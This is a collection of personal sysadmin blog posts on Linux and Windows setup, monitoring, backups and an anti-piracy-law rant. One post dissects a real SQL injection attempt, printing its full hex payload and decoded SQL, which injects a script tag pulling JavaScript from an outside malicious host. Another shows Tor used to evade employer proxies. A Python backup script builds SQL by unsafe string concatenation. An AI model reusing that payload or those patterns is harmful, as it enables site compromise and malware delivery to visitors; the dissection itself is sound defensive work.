On the PRIMARY server, on the still open properties page, do not change the Operating mode unless you know what you are doing, then click Start Mirroring

There will be a slight delay and the Status will change to Synchronizing, hit refresh and as long as not too many transactions have gone through, it should change to Synchronized.

You can now close this window and have mirrored databases.

Anonymous Internet Browsing

2009-05-11T13:27:00.004Z

(Or How BT Mobile Broadband can make you feel like a criminal)

This post was inspired by the despicable means that BT use to try and prevent you from doing what you want on the internet whilst using one of their mobile dongles. Some people (myself included) don't like other's seeing what they do on the internet, this is how you get around it.

**DISCLAIMER**

This can be used to get around proxy services and servers that your friendly neighbourhood SysAdmin might have put in place for the safety of their network. If you get caught using this and violating your employer's acceptable use policy, on your own head be it.

A SysAdmin will probably beat on you with a spanner for just discussing this, Yes I am a SysAdmin and Yes I would.

So enough of that nonsense and thinly veiled threats, let's get down to getting you on the internet.

Go and download FirefoxPortable from portableapps.com
Install this to your USB Thumbdrive or to a location on your hard drive

Download TOR from www.torproject.org

when installing TOR/Vidalia, Select a "Base" install and expand out the Torbutton option, deselect "Add to Firefox"
Change the destination folder to be a folder on your USB Drive, I called mine Vidalia.
Don't run the Installed components just yet.

Go to the installed folder and browse to the Torbutton folder, right click on the torbutton-1.2.0-fx.xpi and select "open with..." point this to your portable firefox installation and run it, then restart firefox portable. Open up the add-ons options for Torbutton and ensure that "Use Privoxy" is enabled

When you want to browse anonymously, run Vidalia from your USB drive, open up firefox portable, and down in the bottom right, click on Tor Disabled to start Tor and browse to your hearts content, relatively safe in the knowledge that no one can see your browsing activity.

To add Flash to this, copy flashplayer.xpt and NPSFW32.dll from c:\windows\system32 into FirefoxPortable\App\DefaultData\plugins and restart firefox. This doesn't work with all flash video players but youTube works.

Kubuntu 9.04 on Vostro 220s with dual monitors

2009-04-30T06:59:00.002Z

Installation of Kubuntu 9.04 "Jaunty Jackelope" on a vanilla Vostro 220s is very straightforward. My Vostro however is not vanilla in that I have added an addin graphics card, an nVidia GeForce 8400GS with dual outputs.

This is what caused my problems from earlier when I tried to move to 9.04 beta release.

How you get it running on this system is as follows.

Open up your case and pull the VGA output off the graphics card, this tells the card that it only has one output.

Start up your machine and open the BIOS settings and tell your machine to use the pci-express graphics card before the on-board one. Dell machines normally complain otherwise.

Install [K]ubuntu 9.04 as normal in whatever layout you want.

After installation, get your system updates and enable the restricted nVidia Drivers (V. 180)

Reboot and check your machine still works and that you now have the nVidia Server Settings option in your K menu (or wherever it goes for Gnome)

Power off after testing and plug your VGA output back in on the card, attach your second monitor

Open up your nVidia Server Settings application and enable the second monitor. DO NOT CLOSE THIS APPLICATION YET

Open up a terminal window (ALT+F2 "konsole") and enter

sudo chmod a+w /etc/X11

Back in your nVidia Server Settings app, hit "save to X configuration" and you are now done. Dual screens persistent across reboots.

TA bloody DA.

Burning ISOs from Command Line Linux

2009-04-28T08:16:00.003Z

isowrite.sh

#!/bin/sh
sudo cdrecord -v dev=1,0,0 -data $1
sudo eject

install cdrecord (apt-get install cdrecord) then create a bash file somewhere in your $PATH (/usr/bin) then run:

isowrite.sh /Path/To/ISO.iso

Removing Sticky Stuff

2009-04-28T08:08:00.004Z

Peeled a few labels off a Dell Latitude 131L (yes the one that doesn't want to install Vista, can't really blame it) and got left with a load of very sticky stuff and bits of label guff.

Don't have any spirits or thinners to hand to remove it and wouldn't really want to use them in case it eats through the laptop casing (would be very bad as it's not my laptop)

Whip out the old gaffer tape/duct tape and tear off a strip. Stick it down on the surface with the sticky stuff and rip it off, takes a bit of the sticky crap with it. Repeat as necessary. Yes you may worship me.

vLite - Unattended Installations for Windows VIsta

2009-04-27T16:27:00.004Z

How to create your very own bootable ISO with all the drivers you could need on it.

Go to www.driverpacks.net and download all the driver packs for your architecture (x86/x64) Extract the .7z files to a local directory using 7-zip (www.7-zip.org) or winRAR (www.rarlabs.com)

Download vLite and the Windows Automated Installation Kit (W.A.I.K.), these are both free and should be the first hits in google

Install the WAIK and then install vLite - don't run it just yet.

Copy the wimgapi.dll from the Windows AIK/Tools/YourArchitecture folder (x86/ia64/amd64) into the vLite root folder. Windows AIK defaults to installing in "c:\Program Files\Windows AIK"

Run vLite and on the first screen pop in your Vista DVD and direct it to that drive (it will prompt you to create a local copy) or point it to a location where you have copied all the files from the CD.

NOTE 1: I recommend copying the files across yourself and then making an additional copy of the folder. Using vLite can be a destructive process and you may not get it right first time. If you have a spare copy on your hard drive, your golden master, so to speak. It's a lot easier and quicker to just clone this folder than having to: find your DVD or mount the ISO, copy the files across etc. etc. etc.

NOTE 2: If you are struggling for space you can uninstall the WAIK and save a few gigabytes as you will need them shortly to create your ISO, at least 6G is what I would recommend leaving available so you can copy the files locally and build your ISO image.

vLite will now detect your architecture type and the version of Vista that you have given it. On the next screen, all the options with the exception of Integration is optional (technically it is but then you wouldn't have any drivers installed on your DVD which is kinda the point of this post)

The checkboxes let you do several things, most of them are self-explanatory from the name of the checkbox but let me give you a quick overview.

Integration - HotFixes, Drivers and Additional Language Packs
Using this will let you integrate HotFixes from Microsoft, Drivers from 3rd Parties (or MS) Language packs (Haven't used this option yet)

Components - Component Removal
This lets you remove components that you are not intending to use - EVER.
There is an optional popup screen to protect certain applications that use shared files etc. but unless you know what you are doing and the consequences, which could potentially be far reaching if you don't know what the system will be used for. It's best to leave this alone except as mentionned for very specific uses.

Tweaks - Optional Tweaks
In here you can specify tweaks that mean you don't have to do as much on first boot into your new O/S. Things like specifying that the control panel should default to classic mode (very useful), or that the IE Phishing filter should be disabled (why are you using IE anyway?) etc. There are quite a few things in here and it's worth a look

Unattended - Install without your intervention
All the options in this section are used to make your life easier. You can specify your product key, skip activation, set your language settings, set up the Administrator User, name your PC (Not that useful in a corporate environment) and a few other bits.

You should take a look at most of the options with the possible exception of the Component removal and Tweaks. If you know enough that you are going to integrate additional installers onto your disc you should know to ignore creating the bootable ISO as you will have to do that later yourself.

Once you've completed all your modifications, you can hit apply and it will update the copy of the Vista installation files (see NOTE 1 above)

THIS STEP DOES NOT CREATE THE ISO. Do not press exit if you want to create a bootable ISO image.

Click on the next button and you will be presented with an additional screen. This will let you create your ISO image OR burn directly to DVD. I recommend creating the ISO.
On this screen there is also the option to split the image if its very large or possibly to make it fit on CDs if you don't have a DVD ROM in your target device. I haven't used this option yet so can't guid you on its use.

Once you are happy with the name of your new disc/disc image (defaults to VistaLite even though it might be a bit bigger) hit Make ISO or Burn. In the case of Make ISO it will ask you for the output path.

NOTE 3: Do Not Integrate all drivers if you want to install it on a Dell Latitude 131L, I'm still working on what is actually required to install Vista on this without it BSODing regarding the graphics card.

American Idiot (Politician)

2009-04-24T13:16:00.002Z

Seriously though, where the hell do they get these people AND WHY ARE THEY RUNNING THE COUNTRY?

Youtube Linkage

Piracy - Garrrr

2009-04-23T11:39:00.005Z

Okay, this is going to be a bit of a rant, I need to get this off my chest before I go on the rampage. I'm not in any way condoning the practise of copying media that you do not own but

COPYING SOFTWARE/MEDIA FILES IS NOT PIRACY. It's not even theft!

I think the image below expresses my feelings appropriately:

Peer-to-peer networking is a useful tool, it is not the exclusive realm of the "Pirate", [oh fuck, I can't even say pirate. - ed] Lets try it again
It's not the realm of the person that wants to copy files across the network (internet/LAN) that they do not hold copyright licenses for.

In my opinion, the judgment in the PirateBay.org case was incorrect, they are merely providing an information repository that does not in any way contain copyrighted files.
The decision to find them guilty in this case was incredibly poor judgment, take this for example.
You burn a DVD containing several MP3 files for your "Friend", you post it to him/her but forget to put enough postage on it. The post office holds it and tell your "Friend" to come and collect it.
Are they in breach of copyright? Of course not. The same should have applied to PirateBay.

Next on my list, "Downloading films is stealing" trailers on every bloody DVD that you BUY.

How mentally retarded are these people? They are effectively encouraging people not to buy films if they put these ridiculous trailers at the start of every film that in some cases you can't skip through. I bought your bloody DVD now fuck off and let me watch it. You don't get these stupid messages on pirate DVDs!

And Another Thing, when your message goes

You Wouldn't steal a Purse
You Wouldn't steal a Car
etc.

You bloody well would if you could download it off the internet as IT'S NOT STEALING

Downloading ALL your media from the internet should be ENCOURAGED, the Record Companies/Movie Studios/Rights Holders could make even MORE money if they distributed it via the internet, think about it. No packaging costs, no delivery costs (You, yes you in the back, shut up about bandwidth, it's something I'll come to in another post), quicker delivery times.
My "proposal" goes like this.

No DRM on the media (as its stupid and retarded and an inconvenience and useless, did I mention it was stupid?) - Saves people the inconvenience of having to rip/extract/convert to all their different media players. By extension don't pick a dumb (not open) file type - I'm looking at you WMV/M4P etc.

People pay a monthly subscription to download a limited/unlimited amount, categorised by the bandwidth consumed, NOT the quantity of items DL'ed. You want to download the unlimited amount? pay more, you only want a few movies/songs a month, a lower tariff for you.

New Releases - Available online at the same time as DVD release

I think that this will work (i.e. be profitable) for a few reasons
1. The Content Delivery Mechanism already exists and is a mature technology
2. The absence of DRM encourages people to use it as they KNOW it will work on "their" device be it a set top box, and iPod, a Zune, a PSP etc etc
3. Yes, you will get people on the "unlimited" plan ripping the arse out of it (you could establish a "fair usage" case but don't dare call it an "unlimited" plan) BUT by the same criteria the majority of users will play fair. Some of them will probably download an incredible amount in the first 2-3 months but after that will only download a limited selectio, if for example they only download files every 2 months THIS IS FREE MONEY.

So to sum up
Peer To Peer networking == Good and can be profitable for the "studios"
Peer To Peer networking != Piracy
Copyright Infringement != Theft
Copyright Infringement != Piracy
Piracy == Stealing Shit on The High Seas

Installing Debian and KDE 4.2 - EPIC FAIL

2009-04-08T07:18:00.005Z

Installed Debian 5.0.0 Testing from NetInstall CD
Assigned Static IP in our subnet
Used the entire 1st disk with guided partitioning and all files in one partition (Don't Judge me I just wanted it to work!)
Added a temp user as if it worked I wanted to have "MY" home directory under subversion
Told Aptitude to use

http://username:password@proxy.server.com:8080

so that it can get to the internet via ISA Proxy server
Decided not to participate in Package Usage Contest
Deselected the Desktop Environment Option
Installed GRUB to MBR when prompted
Logged in after reboot

su
aptitude install sudo nano jed vim
aptitude install ntlmaps

Added the unstable Repos to /etc/apt/sources.list

aptitude update
aptitude -t squeeze upgrade

(This command appeared to access the unstable repo so didn't do what I told it to.)


aptitude -t squeeze dist-upgrade
aptitude -t unstable upgrade
aptitude -t unstable dist-upgrade
aptitude -t unstable install xserver-xorg
aptitude -t unstable install kdebase-runtime-bin-kde4
aptitude -t unstable install kde4

(accepted Solution relating to gnome and libnautilus)
Set the root password for mySQL
Set the default Domain for SAMBA

Rebooted, KDM started and was able to login, initial login was slightly longer but assumed this was down to the kde config doing it's magic and setting up the initial config files that would be missing for each user.
Shut down
Added in graphics card (dual head so on-board graphics DISABLED)
Start up, KDE starts fine, login - Hangs on KDE Splash screen

THE SAME BLOODY WAY IT DID WHEN I DID 3 INSTALLS YESTERDAY

What I want to know is why it didn't do what my current install of Kubuntu and KDE4 does... and just bloody worked when I added the extra card in.

UPDATE

See my latest post on Kubuntu 9.04 with dual monitors. Silly Daniel.

Twittering

2009-04-01T10:18:00.003Z

I've started twittering again (tweeting is it?) and have found it to be a. quite useful and b. good fun.

It's (in my mind anyway) similar to a broadcast email, except that it's targetted at people who actually "want" to pay attention to you (followers).

All the tweets with the exception of a direct message end up in your timeline, so you can see a conversation flowing along, if only there was a way to tie replies back to actual tweets rather than just a reply to someone (@user) that would make it a bit easier to follow a conversation between people that you may not follow rather than hopping back through their timeline.

I find it's a pretty good way to expand your circle of friends and meet new and interesting people. If they aren't interesting DON'T FOLLOW THEM!

There are some exceptions, Stephen Fry is Quite Interesting but a twit-flooder, i.e. your timeline could potentially be just Stephen.

EDIT: Silly Me, I forgot to put my twitter name here, it's danmcl0703

Blog Changes

2009-04-01T08:23:00.002Z

I'll be playing about with this blog over the next few weeks/months...

I'm specifically going to be playing with AdSense and the blog layout itself.I'm also going to be posting more, things that make me laugh, things that I need to remember (the basic initial premise of this blog) and anything else that I want really.

So if you don't like it you don't have to read it, but I would really like it if you did!

Linux Admin in a Windows corporation

2009-02-23T12:00:00.002Z

Over the next few months, I'm going to be writing about the tools, software, and problems/solutions I'm having being a linux admin in a windows corporation, everything so far runs on various versions of Windows, from windows 2000 right through to 2008 enterprise edition in a fair number of its guises.

It's not been too bad so far, I have Windows 7 running inside Virtualbox on my Kubuntu desktop for things that absolutely require windows and some office stuff (like our corporate intranet site) but other than that I've been using kubuntu as my main machine.

I've already implemented a squid proxy for some sites in our DMZ so that we can plug that hole in our firewall and allow them access out to the internet without hopping back to our internal network to the corporate ISA server.

I've also got Nagios running alongside Splunk for Monitoring and SysLog collection for Windows Servers, they are running quite nicely but definitely need some time fettling with them, I have to say the 15min guide for Nagios on their new site is actually lying, it doesn't take anywhere near 15 minutes, its on the good side of 10!

Anyway, enough for now.

Central Syslog for Servers

2009-02-13T14:52:00.003Z

EDIT: This post was written in a hurry but I promise I will come back to it soon to elaborate.

There's something incredibly useful about not having your server logs only on the server itself, the first is when someone compromises your server, plays about with it a bit and then deletes the log files.
The second is having all your log files in one place so you can run tools like Splunk on them.

This is how you go about doing it. I will assume that the syslog server (where the logs go to) is running some variation of Linux, these instructions will be largely focussed on Debian.

/etc/init.d/sysklogd stop
edit /etc/sysklogd.conf
change syslogd "" to syslogd "-r -m0"

This will allow remote machines to log to this (-r) and will remove the --MARK-- (-m0) that plagues your logs, I'm still in 2 minds about removing the "mark" as it lets you know that your logs are being written to, but on a large network there will (most likely) always be something somewhere writing to a log file.

okay, next open up /etc/syslog.conf and add

local7.debug /var/log/enterprise.log

this will allow Cisco and Windows devices to log to this machine.

/etc/init.d/sysklogd start

DONE on the server

On Windows Clients

Download SNARE from intersect Alliance install it and don't use the web interface.

run regedit and edit HKEY_LOCAL_MACHINE\SOFTWARE\InterSect Alliance\AuditService\

in config, change the delimiter to be " " (i.e. a space)
in network change the destination to be your syslog server
and also in network check that the port is set to 514, this is the default.

Python ZFS Backup Script

2008-10-02T13:38:00.007Z

This is my incremental backup script for ZFS on Solaris 10
REQUIREMENTS:
mysql
python
pymysql
install these by doing this

/opt/csw/bin/pkg-get -i mysql5
/opt/csw/bin/pkg-get -i python
/opt/csw/bin/pkg-get -i pymysql

Requires a mySQL database with a table called logs in a database called backups, please feel free to amend this but remember to update the script below.
NOTES:
You will have to tab indent this script manually as I haven't figured out how to do it in here
SCRIPT:

#!/usr/bin/python
#backup_script_v0.1.py - Backup ZFS pool for sportsware
import sys
import MySQLdb
import os
import commands
import smtplib
import time
#set fixed parameters here
smtpserver = "IP.ADDRESS"
adminEmail = "address mail comes from"
backupsEmail = "address mail goes to"
targetZFSHost = "IP/hostname of ZFS target"
sourceZFSPool = "the zfs volume to be backed up"
targetZFSPool = "the zfs volume to back up to"
thisServer = "name of this server"
thisClient = "name of client"

#database connection attempts go here
try:
      DBlog = MySQLdb.connect (host = "database IP",
            user = "backups_user",
            passwd = "backups_pass",
            db = "backups")
except MySQLdb.Error, e:
      print "Error %d: %s" % (e.args[0], e.args[1])
      sys.exit (1)

startTime = time.time()
timestamp = time.strftime("%Y%m%d%H%M")
buildSnapshotCommand = "zfs snapshot "+sourceZFSPool+"@"+timestamp
lastSnapshotCommand = "zfs list -r -t snapshot -o name "+sourceZFSPool
lastSnapshotInput = commands.getoutput(lastSnapshotCommand)
lastSnapshot = lastSnapshotInput[-12:]
zfsSendRecvCommand = "zfs send -i "+sourceZFSPool+"@"+lastSnapshot+" "+sourceZFSPool+"@"+timestamp+"  ssh -C "+targetZFSHost+" zfs recv "+targetZFSPool
print "Creating Snapshot"
#CREATING THE SNAPSHOT
status = commands.getoutput(buildSnapshotCommand)
if status == "":
      logStatus="No snapshot error occurred"
else:
      logStatus=status
      print logStatus
      #build mail connection
      mailSession = smtplib.SMTP(smtpserver)
      emailMessage="To: "+adminEmail+"\nFrom: "+backupsEmail+"\nSubject:ZFS Snapshot Error occurred:\nThe following error occured at "+time.strftime("%H:%M - %d/%m/%Y")+"\n"+logStatus
      mailSession.sendmail(backupsEmail,adminEmail,emailMessage)
      mailSession.quit()

Logging = DBlog.cursor()
LoggingInsert = "INSERT INTO logs (site_name,server_name,log_output) VALUES ('"+thisClient+"\','"+thisServer+"\',\'"+logStatus+"\');"
Logging.execute(LoggingInsert)
endTime = time.time()
timeSpent=endTime - startTime
print "Sending Snapshot"
#ZFS SEND/RECV
status = commands.getoutput(zfsSendRecvCommand)
if status == "":
      sendlogStatus="No ZFS transmission error occurred"
else:
      logStatus=status
      print logStatus
      #build mail connection
      mailSession = smtplib.SMTP(smtpserver)
      emailMessage="To: "+adminEmail+"\nFrom: "+backupsEmail+"\nSubject:ZFS Send/Recv Error occurred:\nThe following error occured at "+time.strftime("%H:%M - %d/%m/%Y")+"\n"+logStatus
      mailSession.sendmail(backupsEmail,adminEmail,emailMessage)
      mailSession.quit()

Logging = DBlog.cursor()
LoggingInsert = "INSERT INTO logs (site_name,server_name,log_output) VALUES ('"+thisClient+"\','"+thisServer+"\',\'"+logStatus+"\');"
Logging.execute(LoggingInsert)
endTime = time.time()
timeSpent=endTime - startTime


emailCompletionMessage="To: "+adminEmail+"\nFrom: "+backupsEmail+"\nSubject:Backups Completed at "+time.strftime("%H:%M - %d/%m/%Y")+"\nThe ZFS Backups Completed @"+time.strftime("%H:%M - %d/%m/%Y")+"\n\n They completed in "+str(timeSpent)+" seconds"
zipMailSession = smtplib.SMTP(smtpserver)
zipMailSession.sendmail(backupsEmail,adminEmail,emailCompletionMessage)
zipMailSession.quit()
print endTime
DBconn.close()
sys.exit(0)

00:11:09:94:84:27

2008-09-10T15:58:00.001Z

Nothing to see here, move along.

Simple password protection in Apache 2.x

2008-08-13T08:52:00.005Z

Just dropping this in here so I can find it again, I could never get .htaccess files to work in windows so this works in the same way

Use htpasswd -cb filename username password to create your hashed password file

put


<directory "some directory tree to protect">
   AllowOverride None
   Options None
   AuthType Basic 
   AuthUserFile "path to password file 
   AuthName "message for users" 
   require valid-user 
   Order deny, allow
</directory>

Tech I Touch #2

2008-08-12T15:06:00.000Z

Time for another installment of this section! This time it's the turn of my macbooks.

At the minute I am currently using 2 macbooks, one a 1st generation MacBook and the other is the latest version of the MacBook Pro.

Both are admirable performers in their own way, they both fulfill computing needs that I have.

The MacBook Pro was supplied by my employers (cheers for that if anyone is reading!) as my day-to-day office machine, the 15.4" screen makes it a bit more pleasing to use for longer periods. It's a fantastic piece of hardware, up to my usual exceptionally high engineering standards.

My MacBook (Black 2 GHz Core Duo) is my own machine, its a few years old now but is still my number one machine, I use it primarily at home as the smaller screen is a bit less intrusive, if I had to travel a lot, I would definitely have requested another one of these as the smaller size isn't noticeable in use but definitely when packing it or carrying it about.

Both have their individual merits, the backlit keyboard on the MBP but I prefer the feel of the keys on the MB, they remind me of the ZX spectrum I owned once upon a time. I find it more pleasant to type on but I am a very aggressive typist.

I always said to people that "personally I didn't see a use for the MacBook Air", but I think that I may have been taken out of context. I think it is a very capable machine but it just doesn't suit my computing style; that's not to say that I wouldn't want to have one to play about with. I like the compactness but would miss several of the features, a wired ethernet port being the most important. But there is definitely a market for it, as evidenced by the slew of ultraportables that have been released in direct competition for it.

If I had to choose an ultraportable it most likely would be the Air as the price is about right and it can run OS X (legally and without hackery) which is definitely my preferred operating system at the moment. A linux KDE system might overtake it but I'm not particularly taken by KDE 4 right at this present moment, 3.x was fine and I preferred it to Gnome and KDE 4 but I'm strongly tempted to go back to Gnome if 3.x becomes unavailable.

Oh dear, this has turned into a rant of some kind, and I don't want to start a browser/os/window manager war at all.

2008-08-06T12:50:00.006Z

The following is a basic dissection of a failed SQL injection attempt

it starts with the following being passed in the URL against another URL Parameter (this has had line breaks added to prevent the formatting from being screwed up)


'DECLARE @S CHAR(4000)SET @S=CAST(0x4445434C415245204054207661726368617228323535292C40432076617263686172283430303029204445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A6A6D616F627564756F2E333332322E6F72672F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272720776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F6A6A6D616F627564756F2E333332322E6F72672F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72 AS CHAR(4000))EXEC(@S)

this is the string hexadecimal decoded so that humans can read is as SQL speaks hexadecimal natively


DECLARE @T varchar(255)'@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name'b.name from sysobjects a'syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T'@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"<>/script<>!--'' where '+@C+' not like ''%"></title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO @T'@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

The following are the translated xtypes so we can see what type of fields it is trying to insert into


|XTYPE | Field Type|

|------------------|

|99    | ntext     |

|35    | text      |

|231   | nvarchar  |

|167   | varchar   |

-------------------|

it then proceeds to iterate through all the tables and rows in each, appending the string

</title><script src="http://jjmaobuduo.3322.org/csrss/w.js"></script><!--

except where it has already found it, so the potential is there for multiple attacks but from the script having the opening HTML tags, only the initial successful attack would actually work.

This attack in particular redirects users to a malicious page that will attempt to get them to download a trojan type virus which is most likely a remote exploit that would allow remote control of their machine to be used in a botnet for any number of purchases, or simply a sniffer for "useful" information like credit cards and banking details.
This is probably not as bad from an administrative standpoint as a DROP * query being injected, but it is in my opinion a bit more sinister.

Installing Windows 2003 64 bit on Sun X4150

2008-08-05T11:39:00.002Z

Having received a shiny new Sun x4150 to be used as an exchange server, I came across a few interesting details about it.

1. It comes in lots and lots of boxes and must be assembled.
2. It's nice and easy to work in as its so tidy and well organised.
3. It doesn't come with a CD/DVD Drive by default so pull out your USB drives or just order one from the factory.

As it doesn't have a floppy drive it's a bit problematic installing the drivers for the LSI Logic RAID Card, I had to remaster the windows 2003 64bit CD in order to slipstream the drivers onto it for textmode setup.

Firstly download nLite, its a great tool for doing unattended installations as well as integrating stuff into a new windows install CD

Tell it to rip the windows install from the CD Drive or do it yourself and tell it where the folders are.

On the next screen, pick the drivers button and the bootable ISO option. You can have a play about with the rest but its up to yourself.

Change out your Windows CD for the "SunFire Tools and Drivers CD" that came with your server or download it from sun.com.

On the drivers screen, tell it to import the Multiple Driver select, then pick the cd:/drivers/windows directory (or similar). Then select the drivers that have 64 bit in them, but don't bother with the drivers with RIS in their path.

Hit next and then on the last screen hit Make ISO.

And thats you, burn it out and you are laughing

Apparently there is a tool on the sun disk that does this (or similar) but I didn't have access to a Solaris or Red Hat box to do it.

This worked for me but as always YMMV

Recover from SQL Injection

2008-07-24T09:33:00.002Z

This script creates a stored proc called SearchAndReplace, once this is created, call it like
SearchAndReplace 'Stringto be searched for','' this will replace the search string with nothing.

CREATE PROC SearchAndReplace
(
@SearchStr nvarchar(100),
@ReplaceStr nvarchar(100)
)
AS
BEGIN

-- Copyright © 2002 Narayana Vyas Kondreddi. All rights reserved.
-- Purpose: To search all columns of all tables for a given search string and replace it with another string
-- Written by: Narayana Vyas Kondreddi
-- Site: http://vyaskn.tripod.com
-- Tested on: SQL Server 7.0 and SQL Server 2000
-- Date modified: 2nd November 2002 13:50 GMT

SET NOCOUNT ON

DECLARE @TableName nvarchar(256), @ColumnName nvarchar(128), @SearchStr2 nvarchar(110), @SQL nvarchar(4000), @RCTR int
SET @TableName = ''
SET @SearchStr2 = QUOTENAME('%' + @SearchStr + '%','''')
SET @RCTR = 0

WHILE @TableName IS NOT NULL
BEGIN
SET @ColumnName = ''
SET @TableName =
(
SELECT MIN(QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME))
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_TYPE = 'BASE TABLE'
AND QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME) > @TableName
AND OBJECTPROPERTY(
OBJECT_ID(
QUOTENAME(TABLE_SCHEMA) + '.' + QUOTENAME(TABLE_NAME)
), 'IsMSShipped'
) = 0
)

WHILE (@TableName IS NOT NULL) AND (@ColumnName IS NOT NULL)
BEGIN
SET @ColumnName =
(
SELECT MIN(QUOTENAME(COLUMN_NAME))
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = PARSENAME(@TableName, 2)
AND TABLE_NAME = PARSENAME(@TableName, 1)
AND DATA_TYPE IN ('char', 'varchar', 'nchar', 'nvarchar')
AND QUOTENAME(COLUMN_NAME) > @ColumnName
)

IF @ColumnName IS NOT NULL
BEGIN
SET @SQL= 'UPDATE ' + @TableName +
' SET ' + @ColumnName
+ ' = REPLACE(' + @ColumnName + ', '
+ QUOTENAME(@SearchStr, '''') + ', ' + QUOTENAME(@ReplaceStr, '''') +
') WHERE ' + @ColumnName + ' LIKE ' + @SearchStr2
EXEC (@SQL)
SET @RCTR = @RCTR + @@ROWCOUNT
END
END
END

SELECT 'Replaced ' + CAST(@RCTR AS varchar) + ' occurence(s)' AS 'Outcome'
END

Public Speaking

2008-06-23T11:48:00.002Z

This weekend just past, I gave a presentation to about 20 odd people on the joys of Nagios, the open source server and network monitor.

This is probably the first bit of proper public speaking that I have done in a very long time.

Before I actually gave the presentation, I was so nervous, looking round, catching glimpses of other peoples presentations, vision based tracking, rapid web service development in rails.

I just thought, wow these people are really serious about this, should I even be here?

The answer was, hell yeah, the people in the room (including the authors of the two topics ^^^) obviously wanted to hear something about it otherwise they would be out getting coffee or something similar.

So a scary experience turned out to be really worthwhile and a great way to meet new people, BarCamp '09 here I come (just need to figure out a topic!)

PS once I started speaking I was fine, the most of the nerves left me, except of course when my remote started to misbehave....

Tech I Touch #1

2008-06-10T07:49:00.002Z

This is a new series of blog entries about interesting tech (to me anyway) that I come across in my day-to-day life.

They will probably be sporadic entries as most of the tech that I come across, I've either used it already or it doesn't interest or intrigue me.

This one will be about the Dyson hand dryer. Please bear with me on this, I know this sounds like a deathly boring object but I found it interesting as it was a novel twist on existing technology that, to be quite honest, only did a passable job, usually resorting to rubbing hands on your trousers. Or trying to find not quite environmentally friendly paper towels.

They dyson machine is quite different, rather than a straight down heated airflow, it has a semi-enclosed area that you put your hands into and then draw them out slowly.
A high pressure stream of cold air pushes the water off your hands from the base of your palm up to your fingertips, 1 pass, maybe 2 is all that it took for soaking wet hands to be bone dry.

Here's a linky Dyson AirBlade

What I found interesting was that it used cold air rather than the usual heated airstream. This in itself has to be more environmentally friendly and safer as there is no wasteful heating element.

There are more details at the link above, including a cost-saving calculator.

Monitor Dell Servers Running Windows Server Using Nagios and SNMP

2008-06-09T14:31:00.004Z

Things I use in this entry:

Nagios 2.9
perl:net-snmp
Dell OpenManage Server Administrator
Nagios plugin check_omsa_snmp.pl
Windows Server 2003

At present, the servers that I am responsible for are monitored from a 30,000' view, its getting progressively closer to the ground and services or more precisely groups of services are being monitored. For instance, there are several services that our exchange server depends on but I don't want to and don't think it is necessary to report on each one directly, a better approach IMO is to use nc_net on each windows server to be monitored then have one service to view these as a single point of failure.

I had been asked to look at monitoring the physical hardware of each server and the only real way to do this would be using SNMP and the Dell OpenManage Server Administrator tools.

Installation Instructions

1. Windows Server has SNMP available as an additional built-in component, it can be installed using Add/Remove Windows Components under Management and Monitoring tools.
Feel free to install all of these as most of them are useful but for our purposes, only the installation of the Simple Network Management Protocol component is required.

2. Install the Dell OpenManage Server Administrator software found here

3. Open up services.msc and get the properties for the SNMP agent, click on the security tab, then untick the send authentication trap.
In the upper section, click on add an SNMP community (as read-only), remember this name as you will need it later.
In the lower section add the address of your Nagios as one of the accepted hosts. Make sure to leave in localhost, or if you aren't paranoid (AND WHY NOT????) you can tick the box saying accept from any host.

4. Go to Nagios Exchange and download check_omsa_snmp.pl to your Nagios server into /usr/local/nagios/libexec (default config assumed)

5. chmod +x that file and test your connection to the SNMP enabled server using snmpwalk -v 2c -c COMMUNITYNAME HOSTNAME .1.3.6.1.4.1.674.10892.1.700.20.1.8.1
It should return SNMPv2-SMI::enterprises.674.10892.1.700.20.1.8.1.1 = STRING: "CPU Planar"
SNMPv2-SMI::enterprises.674.10892.1.700.20.1.8.1.2 = STRING: "Ambient"
SNMPv2-SMI::enterprises.674.10892.1.700.20.1.8.1.3 = STRING: "BP Bottom Temp"

If that is successful, run this command
./check_omsa_snmp.pl -H HOSTNAME -C COMMUNITYNAME
and this will return any critical errors on your server, for example
Power Supply 2 is critical

You can then set this up as a service command where you can have the SNMP community set already.

Restart Services as Non-admin User Windows Vista

2008-05-29T15:17:00.002Z

run

Sc sdset servicename "D:AR(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;LCRPWP;;;AU)(A;;CCLCSWLOCRRC;;;IU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

where servicename is the servicename that you want non-admins to be able to operate

Jailbreak O2 iPhone

2007-12-19T16:06:00.000Z

Steps for jailbreaking an O2 iPhone
(This is for those who have a legitimate activated O2 iPhone)
1. Connect your iPhone via USB
